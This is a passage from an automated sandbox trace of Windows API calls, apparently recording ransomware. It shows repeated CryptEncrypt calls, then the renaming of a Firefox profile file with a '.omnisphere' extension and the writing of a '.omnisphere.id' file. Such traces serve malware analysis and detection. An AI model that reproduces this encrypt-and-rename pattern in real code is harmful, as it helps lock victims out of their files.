pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.790] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.791] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.792] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.793] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.794] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0161.795] CryptDestroyKey (hKey=0x1639568) returned 1 [0161.795] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0161.795] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x173b, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0161.795] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c3e4, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0c3e4*=0x524, lpOverlapped=0x0) returned 1 [0161.796] GetProcessHeap () returned 0x1600000 [0161.796] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x370) returned 0x174c7a0 [0161.796] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4.omnisphere")) returned 1 [0161.797] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4.omnisphere.id" [0161.797] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\datareporting\\archived\\2017-09\\1504782787404.28ee5fa8-af9e-4f7d-aa11-b25b15612513.main.jsonlz4.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0161.799] WriteFile (in: hFile=0x394, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0be6c, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0be6c*=0x524, lpOverlapped=0x0) returned 1 [0161.800] CloseHandle (hObject=0x394) returned 1 [0161.800] UnmapViewOfFile (lpBaseAddress=0x1480000) 